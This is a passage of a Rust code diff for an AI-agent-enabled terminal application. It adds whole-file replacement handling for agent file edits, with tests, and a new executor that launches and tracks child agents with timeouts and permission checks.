) -> FileReadResult {
|
||||
let request = remote_server::proto::ReadFileContextRequest {
|
||||
@@ -120,7 +117,7 @@ async fn read_remote_file(
|
||||
max_file_bytes: Some(MAX_DIFF_READ_BYTES),
|
||||
max_batch_bytes: None,
|
||||
};
|
||||
match client.read_file_context(request).await {
|
||||
match handle.read_file_context(request).await {
|
||||
Ok(response) => {
|
||||
if let Some(fc) = response.file_contexts.into_iter().next() {
|
||||
// A whole-file read that was truncated by the byte limit will
|
||||
|
||||
@@ -1,11 +1,10 @@
|
||||
//! Module containing helper code to apply suggested diffs from an LLM
|
||||
//! to a set of files on the user's filesystem.
|
||||
|
||||
use std::{
|
||||
collections::{hash_map::Entry, HashMap, HashSet},
|
||||
future::Future,
|
||||
sync::Arc,
|
||||
};
|
||||
use std::collections::hash_map::Entry;
|
||||
use std::collections::{HashMap, HashSet};
|
||||
use std::future::Future;
|
||||
use std::sync::Arc;
|
||||
|
||||
use ai::diff_validation::{
|
||||
fuzzy_match_diffs, fuzzy_match_v4a_diffs, AIRequestedCodeDiff, DiffDelta, DiffMatchFailures,
|
||||
@@ -15,20 +14,15 @@ use galaxyui::r#async::executor::Background;
|
||||
use itertools::Itertools;
|
||||
use vec1::Vec1;
|
||||
|
||||
use crate::{
|
||||
ai::{
|
||||
agent::{AIIdentifiers, FileEdit},
|
||||
blocklist::SessionContext,
|
||||
paths::host_native_absolute_path,
|
||||
},
|
||||
auth::auth_state::AuthState,
|
||||
safe_debug, safe_warn, send_telemetry_on_executor,
|
||||
};
|
||||
|
||||
use super::telemetry::{
|
||||
DiffInvalidFileEvent, DiffMatchFailedEvent, MissingLineNumbersEvent,
|
||||
RequestFileEditsTelemetryEvent,
|
||||
};
|
||||
use crate::ai::agent::{AIIdentifiers, FileEdit};
|
||||
use crate::ai::blocklist::SessionContext;
|
||||
use crate::ai::paths::host_native_absolute_path;
|
||||
use crate::auth::auth_state::AuthState;
|
||||
use crate::{safe_debug, safe_warn, send_telemetry_on_executor};
|
||||
|
||||
/// Result of reading a file from disk or a remote server.
|
||||
///
|
||||
@@ -355,6 +349,10 @@ where
|
||||
let v4a_files: HashSet<String> = v4a_deltas.keys().cloned().collect();
|
||||
let new_file_paths: HashSet<String> = new_files.keys().cloned().collect();
|
||||
let deleted_file_paths: HashSet<String> = deleted_files.iter().cloned().collect();
|
||||
let replacement_file_paths: HashSet<String> = new_file_paths
|
||||
.intersection(&deleted_file_paths)
|
||||
.cloned()
|
||||
.collect();
|
||||
|
||||
for (file_path, deltas) in search_replace_deltas {
|
||||
// If a file is also being explicitly created/deleted, skip applying edits to avoid
|
||||
@@ -391,12 +389,18 @@ where
|
||||
result
|
||||
.errors
|
||||
.push(DiffApplicationError::MultipleFileCreation { file });
|
||||
} else if replacement_file_paths.contains(&file) {
|
||||
apply_replace_file(file, content, session_context, read_file, &mut result).await;
|
||||
} else {
|
||||
apply_create_file(file, content, session_context, read_file, &mut result).await;
|
||||
}
|
||||
}
|
||||
|
||||
for file in deleted_files {
|
||||
if replacement_file_paths.contains(&file) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if new_file_paths.contains(&file)
|
||||
|| search_replace_files.contains(&file)
|
||||
|| v4a_files.contains(&file)
|
||||
@@ -413,6 +417,62 @@ where
|
||||
result
|
||||
}
|
||||
|
||||
async fn apply_replace_file<F, Fut>(
|
||||
file_path: String,
|
||||
content: String,
|
||||
session_context: &SessionContext,
|
||||
read_file: &F,
|
||||
result: &mut DiffResult,
|
||||
) where
|
||||
F: Fn(String) -> Fut,
|
||||
Fut: Future<Output = FileReadResult>,
|
||||
{
|
||||
let absolute_path = host_native_absolute_path(
|
||||
&file_path,
|
||||
session_context.shell(),
|
||||
session_context.current_working_directory(),
|
||||
);
|
||||
|
||||
match read_file(absolute_path.clone()).await {
|
||||
FileReadResult::Found(file_content) => {
|
||||
let num_lines = file_content.lines().count();
|
||||
let replacement_line_range = if num_lines == 0 {
|
||||
0..0
|
||||
} else {
|
||||
1..num_lines.saturating_add(1)
|
||||
};
|
||||
|
||||
result.diffs.push(AIRequestedCodeDiff {
|
||||
file_name: file_path,
|
||||
diff_type: DiffType::update(
|
||||
vec![DiffDelta {
|
||||
replacement_line_range,
|
||||
insertion: content,
|
||||
}],
|
||||
None,
|
||||
),
|
||||
failures: None,
|
||||
original_content: file_content,
|
||||
});
|
||||
}
|
||||
FileReadResult::NotFound => {
|
||||
result
|
||||
.errors
|
||||
.push(DiffApplicationError::MissingFile { file: file_path });
|
||||
}
|
||||
FileReadResult::ReadError(err) => {
|
||||
safe_warn!(
|
||||
safe: ("Unable to read file for Agent Code: {err}"),
|
||||
full: ("Unable to read file {absolute_path:?} for Agent Code: {err}")
|
||||
);
|
||||
result.errors.push(DiffApplicationError::ReadFailed {
|
||||
file: file_path,
|
||||
message: err,
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Converts a file-creation request into a diff.
|
||||
async fn apply_create_file<F, Fut>(
|
||||
file_path: String,
|
||||
|
||||
+119
-2
@@ -7,12 +7,11 @@ use galaxyui::App;
|
||||
use tempfile::NamedTempFile;
|
||||
use vec1::vec1;
|
||||
|
||||
use super::*;
|
||||
use crate::ai::agent::{AIIdentifiers, FileEdit};
|
||||
use crate::ai::blocklist::SessionContext;
|
||||
use crate::auth::auth_state::AuthState;
|
||||
|
||||
use super::*;
|
||||
|
||||
fn update_deltas(diff: &AIRequestedCodeDiff) -> &[DiffDelta] {
|
||||
match &diff.diff_type {
|
||||
DiffType::Update { deltas, .. } => deltas,
|
||||
@@ -467,6 +466,124 @@ fn test_mixed_create_and_edit_for_same_path() {
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_delete_and_create_same_path_replaces_existing_file() {
|
||||
App::test((), |app| async move {
|
||||
let mut temp_file = NamedTempFile::new().expect("Failed to create temporary file");
|
||||
let file_path = temp_file.path().to_string_lossy().to_string();
|
||||
writeln!(&mut temp_file, "Old line one\nOld line two").unwrap();
|
||||
|
||||
let delete_edit = FileEdit::Delete {
|
||||
file: Some(file_path.clone()),
|
||||
};
|
||||
let create_edit = FileEdit::Create {
|
||||
file: Some(file_path.clone()),
|
||||
content: Some("New file content".to_string()),
|
||||
};
|
||||
|
||||
let result = apply_edits(
|
||||
vec![delete_edit, create_edit],
|
||||
&SessionContext::new_for_test(),
|
||||
&AIIdentifiers::default(),
|
||||
app.background_executor(),
|
||||
Arc::new(AuthState::new_for_test()),
|
||||
false,
|
||||
|path| async move { FileReadResult::from(std::fs::read_to_string(path)) },
|
||||
)
|
||||
.await;
|
||||
|
||||
assert!(result.is_ok(), "Expected Ok result but got: {result:?}");
|
||||
let diffs = result.unwrap();
|
||||
assert_eq!(diffs.len(), 1);
|
||||
assert_eq!(diffs[0].file_name, file_path);
|
||||
assert_eq!(diffs[0].original_content, "Old line one\nOld line two\n");
|
||||
|
||||
let deltas = update_deltas(&diffs[0]);
|
||||
assert_eq!(deltas.len(), 1);
|
||||
assert_eq!(deltas[0].replacement_line_range, 1..3);
|
||||
assert_eq!(deltas[0].insertion, "New file content");
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_create_then_delete_same_path_replaces_existing_file() {
|
||||
App::test((), |app| async move {
|
||||
let mut temp_file = NamedTempFile::new().expect("Failed to create temporary file");
|
||||
let file_path = temp_file.path().to_string_lossy().to_string();
|
||||
writeln!(&mut temp_file, "Old line one\nOld line two").unwrap();
|
||||
|
||||
let create_edit = FileEdit::Create {
|
||||
file: Some(file_path.clone()),
|
||||
content: Some("New file content".to_string()),
|
||||
};
|
||||
let delete_edit = FileEdit::Delete {
|
||||
file: Some(file_path.clone()),
|
||||
};
|
||||
|
||||
let result = apply_edits(
|
||||
vec![create_edit, delete_edit],
|
||||
&SessionContext::new_for_test(),
|
||||
&AIIdentifiers::default(),
|
||||
app.background_executor(),
|
||||
Arc::new(AuthState::new_for_test()),
|
||||
false,
|
||||
|path| async move { FileReadResult::from(std::fs::read_to_string(path)) },
|
||||
)
|
||||
.await;
|
||||
|
||||
assert!(result.is_ok(), "Expected Ok result but got: {result:?}");
|
||||
let diffs = result.unwrap();
|
||||
assert_eq!(diffs.len(), 1);
|
||||
assert_eq!(diffs[0].file_name, file_path);
|
||||
|
||||
let deltas = update_deltas(&diffs[0]);
|
||||
assert_eq!(deltas.len(), 1);
|
||||
assert_eq!(deltas[0].replacement_line_range, 1..3);
|
||||
assert_eq!(deltas[0].insertion, "New file content");
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_delete_create_and_edit_same_path_still_fails() {
|
||||
App::test((), |app| async move {
|
||||
let mut temp_file = NamedTempFile::new().expect("Failed to create temporary file");
|
||||
let file_path = temp_file.path().to_string_lossy().to_string();
|
||||
writeln!(&mut temp_file, "Existing content").unwrap();
|
||||
|
||||
let delete_edit = FileEdit::Delete {
|
||||
file: Some(file_path.clone()),
|
||||
};
|
||||
let create_edit = FileEdit::Create {
|
||||
file: Some(file_path.clone()),
|
||||
content: Some("New file content".to_string()),
|
||||
};
|
||||
let edit_diff = ParsedDiff::StrReplaceEdit {
|
||||
file: Some(file_path.clone()),
|
||||
search: Some("1|Existing content".to_string()),
|
||||
replace: Some("Modified content".to_string()),
|
||||
};
|
||||
|
||||
let result = apply_edits(
|
||||
vec![delete_edit, create_edit, FileEdit::Edit(edit_diff)],
|
||||
&SessionContext::new_for_test(),
|
||||
&AIIdentifiers::default(),
|
||||
app.background_executor(),
|
||||
Arc::new(AuthState::new_for_test()),
|
||||
false,
|
||||
|path| async move { FileReadResult::from(std::fs::read_to_string(path)) },
|
||||
)
|
||||
.await;
|
||||
|
||||
let errors = result.expect_err("Expected an error due to create/edit/delete same path");
|
||||
match &errors[..] {
|
||||
[DiffApplicationError::MultipleFileCreation { file }] => {
|
||||
assert_eq!(*file, file_path);
|
||||
}
|
||||
other => panic!("Expected a single MultipleFileCreation error, got {other:?}"),
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_create_edit_for_existing_file() {
|
||||
App::test((), |app| async move {
|
||||
|
||||
@@ -8,7 +8,8 @@ use serde::Serialize;
|
||||
use serde_json::json;
|
||||
use strum_macros::{EnumDiscriminants, EnumIter};
|
||||
|
||||
use crate::ai::{agent::AIIdentifiers, blocklist::RequestedEditResolution};
|
||||
use crate::ai::agent::AIIdentifiers;
|
||||
use crate::ai::blocklist::RequestedEditResolution;
|
||||
|
||||
/// Telemetry events associated with the `RequestFileEdits` AI agent action.
|
||||
#[derive(Serialize, Debug, EnumDiscriminants)]
|
||||
|
||||
@@ -0,0 +1,63 @@
|
||||
use std::collections::HashMap;
|
||||
|
||||
use ai::agent::action_result::AnyFileContent;
|
||||
use ai::agent::FileLocations;
|
||||
|
||||
use super::updated_file_contexts_from_editor_buffers;
|
||||
|
||||
#[test]
|
||||
fn updated_file_contexts_from_editor_buffers_returns_changed_lines_with_context() {
|
||||
let updated_files = vec![(
|
||||
FileLocations {
|
||||
name: "src/main.rs".to_string(),
|
||||
lines: std::iter::once(12..13).collect(),
|
||||
},
|
||||
true,
|
||||
)];
|
||||
let content = (1..=30)
|
||||
.map(|line| format!("line {line}"))
|
||||
.collect::<Vec<_>>()
|
||||
.join("\n");
|
||||
let content_map = HashMap::from([("src/main.rs".to_string(), content)]);
|
||||
|
||||
let contexts = updated_file_contexts_from_editor_buffers(&updated_files, &content_map);
|
||||
|
||||
assert_eq!(contexts.len(), 1);
|
||||
assert!(contexts[0].was_edited_by_user);
|
||||
assert_eq!(contexts[0].file_context.file_name, "src/main.rs");
|
||||
assert_eq!(contexts[0].file_context.line_range, Some(2..23));
|
||||
assert_eq!(contexts[0].file_context.line_count, 30);
|
||||
assert_eq!(
|
||||
contexts[0].file_context.content,
|
||||
AnyFileContent::StringContent(
|
||||
(2..=22)
|
||||
.map(|line| format!("line {line}"))
|
||||
.collect::<Vec<_>>()
|
||||
.join("\n")
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn updated_file_contexts_from_editor_buffers_preserves_full_file_when_no_ranges() {
|
||||
let updated_files = vec![(
|
||||
FileLocations {
|
||||
name: "src/main.rs".to_string(),
|
||||
lines: vec![],
|
||||
},
|
||||
false,
|
||||
)];
|
||||
let content = "line 1\nline 2\n".to_string();
|
||||
let content_map = HashMap::from([("src/main.rs".to_string(), content.clone())]);
|
||||
|
||||
let contexts = updated_file_contexts_from_editor_buffers(&updated_files, &content_map);
|
||||
|
||||
assert_eq!(contexts.len(), 1);
|
||||
assert!(!contexts[0].was_edited_by_user);
|
||||
assert_eq!(contexts[0].file_context.line_range, None);
|
||||
assert_eq!(contexts[0].file_context.line_count, 2);
|
||||
assert_eq!(
|
||||
contexts[0].file_context.content,
|
||||
AnyFileContent::StringContent(content)
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,788 @@
|
||||
//! Async executor for `AIAgentActionType::RunAgents`.
|
||||
//!
|
||||
//! Fans out per-child via [`super::start_agent::StartAgentExecutor::dispatch`]
|
||||
//! and aggregates the outcomes into a single `RunAgentsResult`.
|
||||
use std::collections::HashMap;
|
||||
use std::time::Duration;
|
||||
|
||||
use ai::agent::action::{RunAgentsAgentRunConfig, RunAgentsExecutionMode, RunAgentsRequest};
|
||||
use ai::agent::action_result::{
|
||||
RunAgentsAgentOutcome, RunAgentsAgentOutcomeKind, RunAgentsLaunchedExecutionMode,
|
||||
RunAgentsResult,
|
||||
};
|
||||
use ai::agent::orchestration_config::OrchestrationConfig;
|
||||
use ai::skills::SkillReference;
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use settings::Setting;
|
||||
use warp_cli::agent::Harness;
|
||||
use galaxy_core::execution_mode::AppExecutionMode;
|
||||
use warpui::{Entity, EntityId, ModelContext, ModelHandle, SingletonEntity};
|
||||
|
||||
use super::start_agent::{StartAgentExecutor, StartAgentOutcome};
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionId, AIAgentActionResultType, AIAgentActionType, AIAgentInput,
|
||||
StartAgentExecutionMode,
|
||||
};
|
||||
use crate::ai::auth_secret_types::auth_secret_types_for_harness;
|
||||
use crate::ai::blocklist::inline_action::orchestration_controls::OrchestrationEditState;
|
||||
use crate::ai::blocklist::{BlocklistAIHistoryModel, BlocklistAIPermissions};
|
||||
use crate::ai::cloud_agent_settings::CloudAgentSettings;
|
||||
use crate::ai::document::plan_publication::{
|
||||
prepare_plan_publications, wait_for_plan_publications,
|
||||
};
|
||||
use crate::ai::local_harness_setup::local_harness_product_disabled_message;
|
||||
|
||||
/// Per-child spawn timeout. If a child agent doesn't report back within
|
||||
/// this window (e.g. binary not found, server error), the slot is failed
|
||||
/// rather than hanging the "Spawning agents" UI indefinitely.
|
||||
const SPAWN_TIMEOUT: Duration = Duration::from_secs(30);
|
||||
|
||||
/// Snapshot of an in-flight dispatch, carried through
|
||||
/// [`RunAgentsExecutorEvent::SpawningStarted`].
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
pub struct RunAgentsSpawningSnapshot {
|
||||
pub agent_count: usize,
|
||||
}
|
||||
|
||||
/// In-flight tracking per `RunAgents` action (idempotency guard).
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
enum PendingRunAgents {
|
||||
Publishing,
|
||||
Spawning,
|
||||
}
|
||||
#[derive(Debug, Clone)]
|
||||
struct ExistingLaunchedAgent {
|
||||
name: String,
|
||||
agent_id: String,
|
||||
}
|
||||
|
||||
pub struct RunAgentsExecutor {
|
||||
pending: HashMap<AIAgentActionId, PendingRunAgents>,
|
||||
launched_agents: HashMap<AIConversationId, HashMap<String, ExistingLaunchedAgent>>,
|
||||
start_agent_executor: ModelHandle<StartAgentExecutor>,
|
||||
terminal_view_id: EntityId,
|
||||
}
|
||||
|
||||
/// Lifecycle events for in-flight dispatches.
|
||||
pub enum RunAgentsExecutorEvent {
|
||||
SpawningStarted {
|
||||
action_id: AIAgentActionId,
|
||||
snapshot: RunAgentsSpawningSnapshot,
|
||||
},
|
||||
SpawningFinished {
|
||||
action_id: AIAgentActionId,
|
||||
},
|
||||
}
|
||||
|
||||
impl Entity for RunAgentsExecutor {
|
||||
type Event = RunAgentsExecutorEvent;
|
||||
}
|
||||
|
||||
impl RunAgentsExecutor {
|
||||
pub fn new(
|
||||
start_agent_executor: ModelHandle<StartAgentExecutor>,
|
||||
terminal_view_id: EntityId,
|
||||
) -> Self {
|
||||
Self {
|
||||
pending: HashMap::new(),
|
||||
launched_agents: HashMap::new(),
|
||||
start_agent_executor,
|
||||
terminal_view_id,
|
||||
}
|
||||
}
|
||||
|
||||
pub fn is_pending(&self, action_id: &AIAgentActionId) -> bool {
|
||||
self.pending.contains_key(action_id)
|
||||
}
|
||||
|
||||
/// Cancels a pending run so publication completion cannot fan out children.
|
||||
pub(super) fn cancel_execution(
|
||||
&mut self,
|
||||
action_id: &AIAgentActionId,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) {
|
||||
if matches!(
|
||||
self.pending.get(action_id),
|
||||
Some(PendingRunAgents::Publishing)
|
||||
) {
|
||||
self.pending.remove(action_id);
|
||||
ctx.emit(RunAgentsExecutorEvent::SpawningFinished {
|
||||
action_id: action_id.clone(),
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
fn record_launched_agents(
|
||||
&mut self,
|
||||
conversation_id: AIConversationId,
|
||||
agents: &[RunAgentsAgentOutcome],
|
||||
) {
|
||||
for agent in agents {
|
||||
let RunAgentsAgentOutcomeKind::Launched { agent_id } = &agent.kind else {
|
||||
continue;
|
||||
};
|
||||
let Some(normalized_name) = normalize_agent_name(&agent.name) else {
|
||||
continue;
|
||||
};
|
||||
self.launched_agents
|
||||
.entry(conversation_id)
|
||||
.or_default()
|
||||
.insert(
|
||||
normalized_name,
|
||||
ExistingLaunchedAgent {
|
||||
name: agent.name.clone(),
|
||||
agent_id: agent_id.clone(),
|
||||
},
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
fn duplicate_launched_agents_reason(
|
||||
&self,
|
||||
request: &RunAgentsRequest,
|
||||
parent_conversation_id: AIConversationId,
|
||||
ctx: &ModelContext<Self>,
|
||||
) -> Option<String> {
|
||||
duplicate_launched_agents_reason(
|
||||
request,
|
||||
parent_conversation_id,
|
||||
&self.launched_agents,
|
||||
ctx,
|
||||
)
|
||||
}
|
||||
|
||||
/// Publishes parent plans and dispatches children after a bounded best-effort wait.
|
||||
fn dispatch_prepared_run_agents(
|
||||
&mut self,
|
||||
action_id: AIAgentActionId,
|
||||
request: RunAgentsRequest,
|
||||
parent_conversation_id: AIConversationId,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) -> async_channel::Receiver<RunAgentsResult> {
|
||||
let (sender, receiver) = async_channel::bounded(1);
|
||||
|
||||
if self.pending.contains_key(&action_id) {
|
||||
log::warn!("RunAgentsExecutor: dispatch reentered for {action_id:?}; rejecting");
|
||||
let _ = sender.try_send(RunAgentsResult::Cancelled);
|
||||
return receiver;
|
||||
}
|
||||
|
||||
if let Err(error) = validate_request(&request) {
|
||||
log::warn!("RunAgentsExecutor: validation failure: {error}");
|
||||
let _ = sender.try_send(RunAgentsResult::Failure { error });
|
||||
return receiver;
|
||||
}
|
||||
let pending_plan_publications = prepare_plan_publications(parent_conversation_id, ctx);
|
||||
|
||||
let snapshot = RunAgentsSpawningSnapshot {
|
||||
agent_count: request.agent_run_configs.len(),
|
||||
};
|
||||
self.pending
|
||||
.insert(action_id.clone(), PendingRunAgents::Publishing);
|
||||
ctx.emit(RunAgentsExecutorEvent::SpawningStarted {
|
||||
action_id: action_id.clone(),
|
||||
snapshot,
|
||||
});
|
||||
|
||||
let action_id_for_wait = action_id.clone();
|
||||
ctx.spawn(
|
||||
async move {
|
||||
// Wait briefly for each plan to become server-backed without blocking
|
||||
// launch on a failed or slow publication. Resolves immediately when
|
||||
// there is nothing to wait on.
|
||||
wait_for_plan_publications(pending_plan_publications).await;
|
||||
request
|
||||
},
|
||||
move |me, request, ctx| {
|
||||
if !me.is_pending(&action_id_for_wait) {
|
||||
return;
|
||||
}
|
||||
me.dispatch_children_for_prepared_request(
|
||||
action_id_for_wait.clone(),
|
||||
request,
|
||||
parent_conversation_id,
|
||||
sender,
|
||||
ctx,
|
||||
)
|
||||
},
|
||||
);
|
||||
|
||||
receiver
|
||||
}
|
||||
|
||||
fn dispatch_children_for_prepared_request(
|
||||
&mut self,
|
||||
action_id: AIAgentActionId,
|
||||
request: RunAgentsRequest,
|
||||
parent_conversation_id: AIConversationId,
|
||||
sender: async_channel::Sender<RunAgentsResult>,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) {
|
||||
self.pending
|
||||
.insert(action_id.clone(), PendingRunAgents::Spawning);
|
||||
let parent_run_id = BlocklistAIHistoryModel::as_ref(ctx)
|
||||
.conversation(&parent_conversation_id)
|
||||
.and_then(|c| c.run_id());
|
||||
|
||||
let RunAgentsRequest {
|
||||
execution_mode: run_execution_mode,
|
||||
harness_type,
|
||||
model_id,
|
||||
skills,
|
||||
agent_run_configs,
|
||||
base_prompt,
|
||||
harness_auth_secret_name,
|
||||
..
|
||||
} = request;
|
||||
|
||||
let mut slots: Vec<ChildSlot> = Vec::with_capacity(agent_run_configs.len());
|
||||
for cfg in &agent_run_configs {
|
||||
let prompt = compose_run_agents_child_prompt(&base_prompt, &cfg.prompt);
|
||||
let mode = match run_agents_to_start_agent_mode(
|
||||
&run_execution_mode,
|
||||
&harness_type,
|
||||
&model_id,
|
||||
&skills,
|
||||
harness_auth_secret_name.as_deref(),
|
||||
cfg,
|
||||
) {
|
||||
Ok(mode) => mode,
|
||||
Err(err) => {
|
||||
slots.push(ChildSlot::Failed(err));
|
||||
continue;
|
||||
}
|
||||
};
|
||||
if matches!(run_execution_mode, RunAgentsExecutionMode::Remote { .. })
|
||||
&& parent_run_id.is_none()
|
||||
{
|
||||
slots.push(ChildSlot::Failed(
|
||||
"Remote child agents require the parent run_id to be available.".to_string(),
|
||||
));
|
||||
continue;
|
||||
}
|
||||
let recv = self.start_agent_executor.update(ctx, |executor, exec_ctx| {
|
||||
executor.dispatch(
|
||||
cfg.name.clone(),
|
||||
prompt,
|
||||
mode,
|
||||
None, /* lifecycle_subscription */
|
||||
parent_conversation_id,
|
||||
parent_run_id.clone(),
|
||||
exec_ctx,
|
||||
)
|
||||
});
|
||||
slots.push(ChildSlot::Pending(recv));
|
||||
}
|
||||
|
||||
let agent_run_configs_for_result = agent_run_configs.clone();
|
||||
let action_id_for_aggr = action_id.clone();
|
||||
let run_model_id = model_id.clone();
|
||||
let run_harness_type = harness_type.clone();
|
||||
let run_execution_mode_for_aggr = run_execution_mode.clone();
|
||||
let parent_conversation_id_for_result = parent_conversation_id;
|
||||
|
||||
ctx.spawn(
|
||||
async move {
|
||||
let mut outcomes: Vec<RunAgentsAgentOutcomeKind> = Vec::with_capacity(slots.len());
|
||||
for slot in slots {
|
||||
let kind = match slot {
|
||||
ChildSlot::Failed(error) => RunAgentsAgentOutcomeKind::Failed { error },
|
||||
ChildSlot::Pending(recv) => {
|
||||
let timeout = warpui::r#async::Timer::after(SPAWN_TIMEOUT);
|
||||
match futures::future::select(Box::pin(recv.recv()), Box::pin(timeout))
|
||||
.await
|
||||
{
|
||||
futures::future::Either::Left((
|
||||
Ok(StartAgentOutcome::Started { agent_id }),
|
||||
_,
|
||||
)) => RunAgentsAgentOutcomeKind::Launched { agent_id },
|
||||
futures::future::Either::Left((
|
||||
Ok(StartAgentOutcome::Error(error)),
|
||||
_,
|
||||
)) => RunAgentsAgentOutcomeKind::Failed { error },
|
||||
futures::future::Either::Left((Err(_), _)) => {
|
||||
RunAgentsAgentOutcomeKind::Failed {
|
||||
error: "Cancelled before launch".to_string(),
|
||||
}
|
||||
}
|
||||
futures::future::Either::Right((_, _)) => {
|
||||
log::warn!(
|
||||
"Agent spawn timed out after {} seconds",
|
||||
SPAWN_TIMEOUT.as_secs()
|
||||
);
|
||||
RunAgentsAgentOutcomeKind::Failed {
|
||||
error: format!(
|
||||
"Agent failed to start within {} seconds. \
|
||||
The harness binary may not be installed.",
|
||||
SPAWN_TIMEOUT.as_secs()
|
||||
),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
outcomes.push(kind);
|
||||
}
|
||||
outcomes
|
||||
},
|
||||
move |me, outcomes, ctx| {
|
||||
let agents: Vec<RunAgentsAgentOutcome> = agent_run_configs_for_result
|
||||
.iter()
|
||||
.zip(outcomes)
|
||||
.map(|(cfg, kind)| RunAgentsAgentOutcome {
|
||||
name: cfg.name.clone(),
|
||||
kind,
|
||||
})
|
||||
.collect();
|
||||
me.record_launched_agents(parent_conversation_id_for_result, &agents);
|
||||
let launched_mode = match &run_execution_mode_for_aggr {
|
||||
RunAgentsExecutionMode::Local => RunAgentsLaunchedExecutionMode::Local,
|
||||
RunAgentsExecutionMode::Remote {
|
||||
environment_id,
|
||||
worker_host,
|
||||
computer_use_enabled,
|
||||
} => RunAgentsLaunchedExecutionMode::Remote {
|
||||
environment_id: environment_id.clone(),
|
||||
worker_host: worker_host.clone(),
|
||||
computer_use_enabled: *computer_use_enabled,
|
||||
},
|
||||
};
|
||||
let result = RunAgentsResult::Launched {
|
||||
model_id: run_model_id,
|
||||
harness_type: run_harness_type,
|
||||
execution_mode: launched_mode,
|
||||
agents,
|
||||
};
|
||||
me.pending.remove(&action_id_for_aggr);
|
||||
ctx.emit(RunAgentsExecutorEvent::SpawningFinished {
|
||||
action_id: action_id_for_aggr,
|
||||
});
|
||||
let _ = sender.try_send(result);
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
pub(super) fn execute(
|
||||
&mut self,
|
||||
input: ExecuteActionInput,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) -> impl Into<AnyActionExecution> {
|
||||
let AIAgentAction { action, id, .. } = input.action;
|
||||
let AIAgentActionType::RunAgents(request) = action else {
|
||||
return ActionExecution::InvalidAction;
|
||||
};
|
||||
let mut request = request.clone();
|
||||
let action_id = id.clone();
|
||||
let parent_conversation_id = input.conversation_id;
|
||||
if let Some(reason) = prepare_request_for_execution(
|
||||
&mut request,
|
||||
parent_conversation_id,
|
||||
self.terminal_view_id,
|
||||
&self.launched_agents,
|
||||
ctx,
|
||||
) {
|
||||
return ActionExecution::Sync(AIAgentActionResultType::RunAgents(
|
||||
RunAgentsResult::Denied { reason },
|
||||
));
|
||||
}
|
||||
|
||||
let receiver =
|
||||
self.dispatch_prepared_run_agents(action_id, request, parent_conversation_id, ctx);
|
||||
|
||||
ActionExecution::new_async(
|
||||
async move { receiver.recv().await },
|
||||
|result, _| match result {
|
||||
Ok(r) => AIAgentActionResultType::RunAgents(r),
|
||||
Err(_) => AIAgentActionResultType::RunAgents(RunAgentsResult::Cancelled),
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
pub(super) fn should_autoexecute(
|
||||
&self,
|
||||
input: ExecuteActionInput,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) -> bool {
|
||||
let AIAgentActionType::RunAgents(request) = &input.action.action else {
|
||||
return false;
|
||||
};
|
||||
if AppExecutionMode::as_ref(ctx).is_autonomous() {
|
||||
return true;
|
||||
}
|
||||
let mut resolved_request = request.clone();
|
||||
resolve_request_from_approved_config(&mut resolved_request, input.conversation_id, ctx);
|
||||
populate_default_auth_secret_for_execution(&mut resolved_request, ctx);
|
||||
if self
|
||||
.duplicate_launched_agents_reason(&resolved_request, input.conversation_id, ctx)
|
||||
.is_some()
|
||||
{
|
||||
return true;
|
||||
}
|
||||
approved_orchestration_config_can_autoexecute(request, input.conversation_id, ctx)
|
||||
|| BlocklistAIPermissions::as_ref(ctx)
|
||||
.get_run_agents_setting(ctx, Some(self.terminal_view_id))
|
||||
.is_always_allow()
|
||||
}
|
||||
|
||||
pub(super) fn preprocess_action(
|
||||
&mut self,
|
||||
_action: PreprocessActionInput,
|
||||
_ctx: &mut ModelContext<Self>,
|
||||
) -> BoxFuture<'static, ()> {
|
||||
futures::future::ready(()).boxed()
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
#[path = "run_agents_tests.rs"]
|
||||
mod tests;
|
||||
|
||||
enum ChildSlot {
|
||||
Failed(String),
|
||||
Pending(async_channel::Receiver<StartAgentOutcome>),
|
||||
}
|
||||
|
||||
fn approved_orchestration_config_can_autoexecute(
|
||||
request: &RunAgentsRequest,
|
||||
parent_conversation_id: AIConversationId,
|
||||
ctx: &ModelContext<RunAgentsExecutor>,
|
||||
) -> bool {
|
||||
let mut resolved_request = request.clone();
|
||||
resolve_request_from_approved_config(&mut resolved_request, parent_conversation_id, ctx)
|
||||
.is_some_and(|status| status.is_approved())
|
||||
&& can_execute_with_auth_secret(&resolved_request, ctx)
|
||||
}
|
||||
|
||||
fn resolve_request_from_approved_config(
|
||||
request: &mut RunAgentsRequest,
|
||||
parent_conversation_id: AIConversationId,
|
||||
ctx: &ModelContext<RunAgentsExecutor>,
|
||||
) -> Option<ai::agent::orchestration_config::OrchestrationConfigStatus> {
|
||||
let conversation =
|
||||
BlocklistAIHistoryModel::as_ref(ctx).conversation(&parent_conversation_id)?;
|
||||
let (config, status) = conversation.orchestration_config_for_plan(&request.plan_id)?;
|
||||
if status.is_approved() {
|
||||
resolve_request_from_config(request, config);
|
||||
}
|
||||
Some(status)
|
||||
}
|
||||
|
||||
/// Normalizes the request and returns a denial reason when launch is blocked.
|
||||
///
|
||||
/// Autonomous agents always run: their calls may still inherit approved plan
|
||||
